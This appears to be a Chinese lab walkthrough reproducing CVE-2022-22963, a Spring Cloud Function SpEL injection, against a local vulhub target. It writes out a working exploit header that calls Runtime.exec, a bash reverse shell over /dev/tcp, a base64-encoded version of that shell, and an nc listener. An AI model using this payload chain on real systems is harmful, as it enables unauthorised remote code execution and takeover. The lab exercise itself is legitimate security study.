CVE-2022-22963 漏洞简介:
由于Spring CloudFunction中RoutingFunction类的apply方法将请求头中的"spring.cloud.function.routing-expression"参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,当使用路由功能时,攻击者可利用该漏洞远程执行任意代码。
影响版本:
3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
漏洞
通过网盘分享的文件:vulhub-master.zip
链接: https://pan.baidu.com/s/1-ESOp-7sXIxhhzi19deO_w?pwd=1111
提取码: 1111
1.1:开始使用docker-compose up -d
这里我们访问本地IP的8080端口即可
出现页面说明漏洞复现成功了,这是一个错误代码的界面
我们打开burp,在这个页面进行抓包,将页面路径改成:
我们修改完成后放到Repeater模块,进行模块代发
我们加入以下内容:
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("要执⾏的命令")
利用反弹shell的性质构建一个反弹shell语句再使用base64加密:
bash -i >& /dev/tcp/监听机IP/9999 0>&1
进行利用:
语句:spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec
("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xNzQvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}")
开启监听
nc -lvp 9999
最后一步发送模块即可
拿下靶机
总结:
1.学会了远程代码执行的利用
2.学会了base64加密上传后解密执行的利用